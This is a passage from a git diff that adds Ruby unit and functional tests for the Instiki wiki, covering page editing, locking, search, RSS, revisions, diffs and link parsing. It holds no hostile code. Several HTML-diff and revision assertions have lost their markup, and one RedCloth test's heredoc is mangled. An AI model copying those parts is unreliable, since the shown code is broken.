@wiki.webs['wiki2'] + end + + + def test_edit + r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_success + assert_equal @wiki.read_page('wiki1', 'HomePage'), r.template_objects['page'] + end + + def test_edit_page_locked_page + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' + assert_redirected_to :action => 'locked' + end + + def test_edit_page_break_lock + @home.lock(Time.now, 'Locky') + process 'edit', 'web' => 'wiki1', 'id' => 'HomePage', 'break_lock' => 'y' + assert_success + assert @home.locked?(Time.now) + end + + def test_edit_unknown_page + process 'edit', 'web' => 'wiki1', 'id' => 'UnknownPage', 'break_lock' => 'y' + assert_redirected_to :action => 'index' + end + + + def test_export_html + setup_wiki_with_three_pages + + r = process 'export_html', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_equal 'attachment', r.headers['Content-Disposition'] + # TODO assert contents of the output file + end + + def test_export_markup + r = process 'export_markup', 'web' => 'wiki1' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_equal 'attachment', r.headers['Content-Disposition'] + # TODO assert contents of the output file + end + + + def test_feeds + process('feeds', 'web' => 'wiki1') + end + + def test_index + process('index') + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + end + + def test_index_multiple_webs + @wiki.create_web('Test Wiki 2', 'wiki2') + process('index') + assert_redirected_to :action => 'web_list' + end + + def test_index_multiple_webs_web_explicit + process('index', 'web' => 'wiki2') + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_index_wiki_not_initialized + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('index') + assert_redirected_to :action => 'new_system' + end + + + def test_list + setup_wiki_with_three_pages + + r = process('list', 'web' => 'wiki1') + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'] + end + + + def test_locked + @home.lock(Time.now, 'Locky') + r = process('locked', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_login + r = process 'login', 'web' => 'wiki1' + assert_success + # this action goes straight to the templates + end + + + def test_new + r = process('new', 'id' => 'NewPage', 'web' => 'wiki1') + assert_success + assert_equal 'AnonymousCoward', r.template_objects['author'] + assert_equal 'NewPage', r.template_objects['page_name'] + end + + + def test_new_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('new_system') + assert_success + end + + def test_new_system_system_already_initialized + assert @wiki.setup? + process('new_system') + assert_redirected_to :action => 'index' + end + + + def test_new_web + @wiki.system['password'] = 'pswd' + process 'new_web' + assert_success + end + + def test_new_web_no_password_set + @wiki.system['password'] = nil + process 'new_web' + assert_redirected_to :action => 'index' + end + + + def test_print + process('print', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + end + + + def test_published + @web.published = true + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_success + assert_equal @home, r.template_objects['page'] + end + + + def test_published_web_not_published + @web.published = false + + r = process('published', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_redirected_to :action => 'show', :id => 'HomePage' + end + + + def test_recently_revised + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal [], r.template_objects['categories'] + assert_nil r.template_objects['category'] + assert_equal [@home], r.template_objects['pages_in_category'] + assert_equal 'the web', r.template_objects['set_name'] + assert_equal [], r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page + page2 = @wiki.write_page('wiki1', 'Page2', + "Page2 contents.\n" + + "category: categorized", + Time.now, Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['categorized'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@home, page2], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['categorized'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_categorized_page_multiple_categories + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_nil r.template_objects['category'] + assert_equal [@elephant, @home, @oak], r.template_objects['pages_in_category'], + "Pages are not as expected: " + + r.template_objects['pages_in_category'].map {|p| p.name}.inspect + assert_equal 'the web', r.template_objects['set_name'] + assert_equal ['animals', + 'trees'], + r.template_objects['category_links'] + end + + def test_recently_revised_with_specified_category + setup_wiki_with_three_pages + + r = process('recently_revised', 'web' => 'wiki1', 'category' => 'animals') + assert_success + + assert_equal ['animals', 'trees'], r.template_objects['categories'] + # no category is specified in params + assert_equal 'animals', r.template_objects['category'] + assert_equal [@elephant], r.template_objects['pages_in_category'] + assert_equal "category 'animals'", r.template_objects['set_name'] + assert_equal ['animals', 'trees'], + r.template_objects['category_links'] + end + + + def test_remove_orphaned_pages + setup_wiki_with_three_pages + @wiki.system[:password] = 'pswd' + orhan_page_linking_to_oak = @wiki.write_page('wiki1', 'Pine', + "Refers to [[Oak]].\n" + + "category: trees", + Time.now, Author.new('TreeHugger', '127.0.0.2')) + + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + + assert_redirected_to :action => 'list' + assert_equal [@home, @oak], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + + # Oak is now orphan, second pass should remove it + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + + # third pass does not destroy HomePage + r = process('remove_orphaned_pages', 'web' => 'wiki1', 'system_password' => 'pswd') + assert_redirected_to :action => 'list' + assert_equal [@home], @web.select.sort, + "Pages are not as expected: #{@web.select.sort.map {|p| p.name}.inspect}" + end + + + def test_revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rollback + # rollback shows a form where a revision can be edited. + # its assigns the same as or revision + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '0' + + assert_success + assert_equal @home, r.template_objects['page'] + assert_equal @home.revisions[0], r.template_objects['revision'] + end + + + def test_rss_with_content + setup_wiki_with_three_pages + + r = process 'rss_with_content', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert !r.template_objects['hide_description'] + end + + + def test_rss_with_headlines + setup_wiki_with_three_pages + + @request.host = 'localhost' + @request.port = 8080 + + r = process 'rss_with_headlines', 'web' => 'wiki1' + + assert_success + pages = r.template_objects['pages_by_revision'] + assert_equal [@home, @oak, @elephant], pages, + "Pages are not as expected: #{pages.map {|p| p.name}.inspect}" + assert r.template_objects['hide_description'] + + xml = REXML::Document.new(r.body) + + expected_page_links = + ['http://localhost:8080/wiki1/show/HomePage', + 'http://localhost:8080/wiki1/show/Oak', + 'http://localhost:8080/wiki1/show/Elephant'] + + assert_template_xpath_match '/rss/channel/link', + 'http://localhost:8080/wiki1/show/HomePage' + assert_template_xpath_match '/rss/channel/item/guid', expected_page_links + assert_template_xpath_match '/rss/channel/item/link', expected_page_links + end + + def test_save + r = process 'save', 'web' => 'wiki1', 'id' => 'NewPage', 'content' => 'Contents of a new page', + 'author' => 'AuthorOfNewPage' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'NewPage' + assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + new_page = @wiki.read_page('wiki1', 'NewPage') + assert_equal 'Contents of a new page', new_page.content + assert_equal 'AuthorOfNewPage', new_page.author + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + def test_save_new_revision_of_existing_page + @home.lock(Time.now, 'Batman') + + r = process 'save', 'web' => 'wiki1', 'id' => 'HomePage', 'content' => 'Revised HomePage', + 'author' => 'Batman' + + assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_equal ['Batman'], r.cookies['author'].value + home_page = @wiki.read_page('wiki1', 'HomePage') + assert_equal [home_page], @web.pages.values + assert_equal 2, home_page.revisions.size + assert_equal 'Revised HomePage', home_page.content + assert_equal 'Batman', home_page.author + assert !home_page.locked?(Time.now) + end + + + def test_search + setup_wiki_with_three_pages + process 'search', 'web' => 'wiki1', 'query' => '\s[A-Z]ak' + assert_redirected_to :action => 'show', :id => 'Oak' + end + + def test_search_multiple_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'All about' + + assert_success + assert_equal 'All about', r.template_objects['query'] + assert_equal [@elephant, @oak], r.template_objects['results'] + end + + def test_search_zero_results + setup_wiki_with_three_pages + + r = process 'search', 'web' => 'wiki1', 'query' => 'non-existant text' + + assert_success + assert_equal [], r.template_objects['results'] + end + + + def test_show_page + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + assert_success + assert_match /First revision of the end/, r.body + end + + def test_show_page_with_multiple_revisions + @wiki.write_page('wiki1', 'HomePage', 'Second revision of the HomePage end', Time.now, + Author.new('AnotherAuthor', '127.0.0.2')) + + r = process('show', 'id' => 'HomePage', 'web' => 'wiki1') + + assert_success + assert_match /Second revision of the end/, r.body + end + + def test_show_page_nonexistant_page + process('show', 'id' => 'UnknownPage', 'web' => 'wiki1') + assert_redirected_to :web => 'wiki1', :action => 'new', :id => 'UnknownPage' + end + + + def test_update_web + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'safe_mode' => 'y', 'password' => 'new_password', 'published' => 'y', + 'brackets_only' => 'y', 'count_pages' => 'y') + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert_equal 'renamed_wiki1', @web.address + assert_equal 'Renamed Wiki1', @web.name + assert_equal :markdown, @web.markup + assert_equal 'blue', @web.color + assert @web.safe_mode + assert_equal 'new_password', @web.password + assert @web.published + assert @web.brackets_only + assert @web.count_pages + end + + + def test_web_list + another_wiki = @wiki.create_web('Another Wiki', 'another_wiki') + + r = process('web_list') + + assert_success + assert_equal [another_wiki, @web], r.template_objects['webs'] + end + + + # Wiki fixture + + def setup_test_wiki + @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new + @web = @wiki.create_web('Test Wiki 1', 'wiki1') + @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, + Author.new('AnAuthor', '127.0.0.1')) + end + + def setup_wiki_with_three_pages + @oak = @wiki.write_page('wiki1', 'Oak', + "All about oak.\n" + + "category: trees", + 5.minutes.ago, Author.new('TreeHugger', '127.0.0.2')) + @elephant = @wiki.write_page('wiki1', 'Elephant', + "All about elephants.\n" + + "category: animals", + 10.minutes.ago, Author.new('Guest', '127.0.0.2')) + end + + def tear_down_wiki + ApplicationController.wiki = nil + end + +end diff --git a/test/test_helper.rb b/test/test_helper.rb new file mode 100755 index 00000000..31fdd36d --- /dev/null +++ b/test/test_helper.rb @@ -0,0 +1,48 @@ +ENV['RAILS_ENV'] ||= 'test' +require File.dirname(__FILE__) + '/../config/environment' +require 'application' + +require 'test/unit' +require 'action_controller/test_process' + +# Convenient setup method for Test::Unit::TestCase +class Test::Unit::TestCase + + private + + def setup_controller_test(controller_class = nil, host = nil) + if controller_class + @controller = controller_class + elsif self.class.to_s =~ /^(\w+Controller)Test$/ + @controller = Object::const_get($1) + else + raise "Cannot derive the name of controller under test from class name #{self.class}" + end + @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new + @request.host = host || 'localhost' + return @request, @response + end + +end + +class WikiServiceWithNoPersistence + include AbstractWikiService + def initialize + init_wiki_service + end +end + +# With the new cookies infrastructure, @response.cookies['foo'] is no good anymore. +# Pending implementation in Rails, here is a convenience method for accessing cookies from a test + +module ActionController + class TestResponse + # Returns the response cookies, converted to a Hash of (name => CGI::Cookie) pairs + # Example: + # + # assert_equal ['AuthorOfNewPage'], r.cookies['author'].value + def cookies + headers['cookie'].inject({}) { |hash, cookie| hash[cookie.name] = cookie; hash } + end + end +end diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb new file mode 100755 index 00000000..7112eae2 --- /dev/null +++ b/test/unit/chunks/category_test.rb @@ -0,0 +1,21 @@ +require 'chunks/category' +require 'chunks/match' +require 'test/unit' + +class CategoryTest < Test::Unit::TestCase + include ChunkMatch + + def test_single_category + match(Category, 'category: test', :list => ['test'], :hidden => nil) + match(Category, 'category : chunk test ', :list => ['chunk test'], :hidden => nil) + match(Category, ':category: test', :list => ['test'], :hidden => ':') + end + + def test_multiple_categories + match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil) + match(Category, 'category : chunk test , multi category,regression test case ', + :list => ['chunk test','multi category','regression test case'], :hidden => nil + ) + end + +end diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb new file mode 100755 index 00000000..b43e0705 --- /dev/null +++ b/test/unit/chunks/nowiki_test.rb @@ -0,0 +1,14 @@ +require 'chunks/nowiki' +require 'chunks/match' +require 'test/unit' + +class NoWikiTest < Test::Unit::TestCase + include ChunkMatch + + def test_simple_nowiki + match(NoWiki, 'This sentence contains [[raw text]]. Do not touch!', + :plain_text => '[[raw text]]' + ) + end + +end diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb new file mode 100755 index 00000000..aeb1ef22 --- /dev/null +++ b/test/unit/chunks/wiki_test.rb @@ -0,0 +1,36 @@ +require 'chunks/wiki' +require 'chunks/match' +require 'test/unit' + +class WikiTest < Test::Unit::TestCase + include ChunkMatch + + def test_simple + match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord') + end + + def test_escaped + match(WikiChunk::Word, 'Do not link to an \EscapedWord', + :page_name => 'EscapedWord', :escaped_text => 'EscapedWord' + ) + end + + def test_simple_brackets + match(WikiChunk::Link, 'This is a [[bracketted link]]', + :page_name => 'bracketted link', :escaped_text => nil + ) + end + + def test_complex_brackets + match(WikiChunk::Link, 'This is a tricky link [[Sperberg-McQueen]]', + :page_name => 'Sperberg-McQueen', :escaped_text => nil + ) + end + +# MDR: I'm not sure how to deal with this case just yet... +# +# def test_textile_link +# assert_no_match(WikiChunk::Word.pattern, '"Here is a special link":SpecialLink') +# end + +end diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb new file mode 100755 index 00000000..24b52244 --- /dev/null +++ b/test/unit/diff_test.rb @@ -0,0 +1,80 @@ +require 'test/unit' +require 'diff' + +include Diff + +class DiffTest < Test::Unit::TestCase + def test_init + assert(1 == 1, "tests working") + assert_nothing_raised("object created") do + s = SequenceMatcher.new "private Thread currentThread;", + "private volatile Thread currentThread;", + proc { |x| x == ' ' } + end + end + + def test_matching_blocks + s = SequenceMatcher.new "abxcd", "abcd" + assert(s.get_matching_blocks == [[0, 0, 2], [3, 2, 2], [5, 4, 0]], + "get_matching_blocks works") + end + + def test_ratio + s = SequenceMatcher.new "abcd", "bcde" + assert(s.ratio == 0.75, "ratio works") + assert(s.quick_ratio == 0.75, "quick_ratio works") + assert(s.real_quick_ratio == 1.0, "real_quick_ratio works") + end + + def test_longest_match + s = SequenceMatcher.new(" abcd", "abcd abcd") + assert(s.find_longest_match(0, 5, 0, 9) == [0, 4, 5], + "find_longest_match works") + s = SequenceMatcher.new() + end + + def test_opcodes + s = SequenceMatcher.new("qabxcd", "abycdf") + assert(s.get_opcodes == [ + [:delete, 0, 1, 0, 0], + [:equal, 1, 3, 0, 2], + [:replace, 3, 4, 2, 3], + [:equal, 4, 6, 3, 5], + [:insert, 6, 6, 5, 6]], "get_opcodes works") + end + + + def test_count_leading + assert(Diff.count_leading(' abc', ' ') == 3, + "count_leading works") + end + + def test_html2list + a = "here is the original text" + #p HTMLDiff.html2list(a) + end + + def test_html_diff + a = "this was the original string" + b = "this is the super string" + assert_equal 'this was ' + + 'is the ' + + 'original ' + + 'super string', + HTMLDiff.diff(a, b) + end + + def test_html_diff_with_multiple_paragraphs + a = "

      this was the original string

      " + b = "

      this is

      \r\n

      the super string

      \r\n

      around the world

      " + + assert_equal( + "

      this was " + + "is

      \r\n

      the " + + "original " + + "super string

      \r\n" + + "

      around the world

      ", + HTMLDiff.diff(a, b) + ) + end +end \ No newline at end of file diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb new file mode 100755 index 00000000..014ae789 --- /dev/null +++ b/test/unit/page_test.rb @@ -0,0 +1,76 @@ +require "test/unit" +require "web" +require "page" + +class MockWeb < Web + def initialize() super('test','test') end + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end + def refresh_pages_with_references(name) end +end + +class PageTest < Test::Unit::TestCase + def setup + @page = Page.new( + MockWeb.new, + "FirstPage", + "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + end + + def test_basics + assert_equal "First Page", @page.plain_name + assert_equal "April 4, 2004", @page.pretty_revised_on + end + + def test_locking + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert @page.locked?(Time.local(2004, 4, 4, 16, 50)) + assert !@page.locked?(Time.local(2004, 4, 4, 17, 1)) + + @page.unlock + + assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) + end + + def test_locking_duration + @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") + + assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) + end + + def test_revision + @page.revise("HisWay would be MyWay in kinda lame", Time.local(2004, 4, 4, 16, 55), "MarianneSyhler") + assert_equal 2, @page.revisions.length, "Should have two revisions" + assert_equal "MarianneSyhler", @page.author, "Mary should be the author now" + assert_equal "DavidHeinemeierHansson", @page.revisions.first.author, "David was the first author" + end + + def test_rollback + @page.revise("spot two", Time.now, "David") + @page.revise("spot three", Time.now + 2000, "David") + assert_equal 3, @page.revisions.length, "Should have three revisions" + @page.rollback(1, Time.now) + assert_equal "spot two", @page.content + end + + def test_continous_revision + @page.revise("HisWay would be MyWay in kinda lame", Time.local(2004, 4, 4, 16, 55), "MarianneSyhler") + assert_equal 2, @page.revisions.length + + @page.revise("HisWay would be MyWay in kinda update", Time.local(2004, 4, 4, 16, 57), "MarianneSyhler") + assert_equal 2, @page.revisions.length + assert_equal "HisWay would be MyWay in kinda update", @page.revisions.last.content + + @page.revise("HisWay would be MyWay in the house", Time.local(2004, 4, 4, 16, 58), "DavidHeinemeierHansson") + assert_equal 3, @page.revisions.length + assert_equal "HisWay would be MyWay in the house", @page.revisions.last.content + + @page.revise("HisWay would be MyWay in my way", Time.local(2004, 4, 4, 17, 30), "DavidHeinemeierHansson") + assert_equal 4, @page.revisions.length + end +end \ No newline at end of file diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb new file mode 100755 index 00000000..72d9e91e --- /dev/null +++ b/test/unit/redcloth_for_tex_test.rb @@ -0,0 +1,67 @@ +require "test/unit" +require "redcloth_for_tex" + +class RedClothForTexTest < Test::Unit::TestCase + def test_basics + assert_equal '{\bf First Page}', RedClothForTex.new("*First Page*").to_tex + assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex + assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex + end + + def test_blocks + assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex + assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex + end + + def test_table_of_contents + +source = < 'Abe', 'B' => 'Babe')) + end + + def test_entities + assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex + end + + def test_bracket_links + assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex + end + + def test_footnotes_on_abbreviations + assert_equal( + "such a Horrible Day\\footnote{1}, but I won't be Made Useless", + RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex + ) + end + + def test_subsection_depth + assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex + end +end \ No newline at end of file diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb new file mode 100755 index 00000000..e8bf59dc --- /dev/null +++ b/test/unit/revision_test.rb @@ -0,0 +1,261 @@ +require "web" +require "test/unit" +require "revision" + +class MockWeb < Web; + attr_accessor :markup + def pages() MockPages.new end + def safe_mode() false end +end +class MockPages + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end +end +class MockPage + attr_accessor :web, :revisions + def name() "page" end +end + +class RevisionTest < Test::Unit::TestCase + + def setup + @mock_page = MockPage.new + @mock_web = MockWeb.new + @mock_page.web = @mock_web + + @mock_web.markup = :textile + + @revision = Revision.new( + @mock_page, + 1, + "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + @revision_with_auto_links = Revision.new( + @mock_page, + 1, + "http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + @revision_with_aliased_links = Revision.new( + @mock_page, + 1, + "Would a [[SmartEngine|clever motor]] go by any other name?", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_wiki_word_in_em = Revision.new( + @mock_page, + 1, + "_should we go ThatWay or ThisWay _", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_pre_blocks = Revision.new( + @mock_page, + 1, + "A class SmartEngine end would not mark up
      CodeBlocks
      ", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_wikiword_in_tag = Revision.new( + @mock_page, + 1, + "That is some Stylish Emphasis", + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_autolink_in_parentheses = Revision.new( + @mock_page, + 1, + 'The W3C body (http://www.w3c.org) sets web standards', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_link_in_parentheses = Revision.new( + @mock_page, + 1, + 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_image_link = Revision.new( + @mock_page, + 1, + 'This !http://hobix.com/sample.jpg! is a Textile image link.', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_nowiki_text = Revision.new( + @mock_page, + 1, + 'Do not mark up [[this text]] or http://www.thislink.com.', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + @revision_with_bracketted_wiki_word = Revision.new( + @mock_page, + 1, + 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].', + Time.local(2004, 4, 4, 16, 50), + "MarkReid" + ) + + end + + def test_wiki_words + assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort + end + + def test_existing_pages + assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort + end + + def test_unexisting_pages + assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort + end + + def test_content_with_wiki_links + assert_equal "

      His Way? would be My Way in kinda That Way in His Way? though My Way OverThere—see Smart Engine in that Smart Engine GUI?

      ", @revision.display_content + end + + def test_bluecloth + @mock_web.markup = :markdown + + @revision = Revision.new( + @mock_page, + 1, + "My Headline\n===========\n\n that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + @revision_with_code_block = Revision.new( + @mock_page, + 1, + [ 'This is a code block:', + '', + ' def a_method(arg)', + ' return ThatWay', + '', + 'Nice!'].join("\n"), + Time.local(2004, 4, 4, 16, 50), + 'MarkReid' + ) + + assert_equal %{

      My Headline

      \n\n

      that } + + %{Smart Engine GUI?

      }, + @revision.display_content + + assert_equal %{

      This is a code block:

      \n\n
      def a_method(arg)\n} +
      +	    %{return ThatWay\n
      \n\n

      Nice!

      }, + @revision_with_code_block.display_content + end + + def test_rdoc + @mock_web.markup = :rdoc + + @revision = Revision.new( + @mock_page, + 1, + "+hello+ that SmartEngineGUI", + Time.local(2004, 4, 4, 16, 50), + "DavidHeinemeierHansson" + ) + + assert_equal "hello that Smart Engine GUI?\n\n", @revision.display_content + end + + def test_content_with_auto_links + assert_equal "

      http://www.loudthinking.com/ points to That Way from david@loudthinking.com

      ", @revision_with_auto_links.display_content + end + + def test_content_with_aliased_links + assert_equal "

      Would a clever motor go by any other name?

      ", @revision_with_aliased_links.display_content + end + + def test_content_with_wikiword_in_em + assert_equal "

      should we go That Way or This Way?

      ", @revision_with_wiki_word_in_em.display_content + end + + def test_content_with_wikiword_in_tag + assert_equal "

      That is some Stylish Emphasis

      ", @revision_with_wikiword_in_tag.display_content + end + + def test_content_with_pre_blocks + assert_equal "A class SmartEngine end would not mark up
      CodeBlocks
      ", @revision_with_pre_blocks.display_content + end + + def test_content_with_autolink_in_parentheses + assert_equal '

      The W3C body (http://www.w3c.org) sets web standards

      ', @revision_with_autolink_in_parentheses.display_content + end + + def test_content_with_link_in_parentheses + assert_equal '

      Instiki is a Wiki Clone (What is a wiki?) that’s so easy to setup

      ', @revision_with_link_in_parentheses.display_content + end + + def test_content_with_image_link + assert_equal '

      This is a Textile image link.

      ', @revision_with_image_link.display_content + end + + def test_content_with_nowiki_text + assert_equal '

      Do not mark up [[this text]] or http://www.thislink.com.

      ', @revision_with_nowiki_text.display_content + end + + def test_content_with_bracketted_wiki_word + @mock_web.brackets_only = true + assert_equal '

      This is a WikiWord and a tricky name Sperberg-McQueen?.

      ', @revision_with_bracketted_wiki_word.display_content + end + + def test_content_for_export + assert_equal "

      His Way would be My Way in kinda That Way in His Way though My Way OverThere—see Smart Engine in that Smart Engine GUI

      ", @revision.display_content_for_export + end + + def test_double_replacing + @revision.content = "VersionHistory\r\n\r\ncry VersionHistory" + assert_equal( + "

      Version History?

      \n\n\t

      cry Version History?

      ", + @revision.display_content + ) + + @revision.clear_display_cache + + @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" + assert_equal( + "

      f
      \nVersion History?

      \n\n\t

      cry Version History?

      ", + @revision.display_content + ) + end + + def test_difficult_wiki_words + @revision.content = "[[It's just awesome GUI!]]" + assert_equal( + "

      It’s just awesome GUI!?

      ", + @revision.display_content + ) + end + + def test_revisions_diff + page = MockPage.new + web = MockWeb.new + web.markup = :textile + page.web = web + + page.revisions = [ 0 ] + page.revisions << Revision.new(page, 1, "What a blue and lovely morning", Time.local(2004, 4, 4, 16, 50), "DavidHeinemeierHansson") + page.revisions << Revision.new(page, 2, "What a red and lovely morning today", Time.local(2004, 4, 4, 16, 50), "DavidHeinemeierHansson") + + assert_equal "

      What a blue red and lovely morningmorning today

      ", page.revisions.last.display_diff + end +end \ No newline at end of file diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb new file mode 100755 index 00000000..474e26e1 --- /dev/null +++ b/test/unit/uri_test.rb @@ -0,0 +1,92 @@ +require 'chunks/uri' +require 'chunks/match' +require 'test/unit' + +class URITest < Test::Unit::TestCase + include ChunkMatch + + def test_non_matches + assert_no_match(URIChunk.pattern, 'There is no URI here') + assert_no_match(URIChunk.pattern, 'One gemstone is the garnet:reddish in colour, like ruby') + end + + def test_simple_uri + match(URIChunk, 'http://www.example.com', + :scheme =>'http', :host =>'www.example.com', :path => nil, + :link_text => 'http://www.example.com' + ) + match(URIChunk, 'http://www.example.com/', + :scheme =>'http', :host =>'www.example.com', :path => '/', + :link_text => 'http://www.example.com/' + ) + match(URIChunk, 'www.example.com', + :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' + ) + match(URIChunk, 'example.com', + :scheme =>'http',:host =>'example.com', :link_text => 'example.com' + ) + match(URIChunk, 'http://example.com.au/', + :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' + ) + match(URIChunk, 'example.com.au', + :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' + ) + match(URIChunk, 'http://www.example.co.uk/', + :scheme =>'http', :host =>'www.example.co.uk', + :link_text => 'http://www.example.co.uk/' + ) + match(URIChunk, 'example.co.uk', + :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' + ) + match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', + :scheme => 'http', :host => 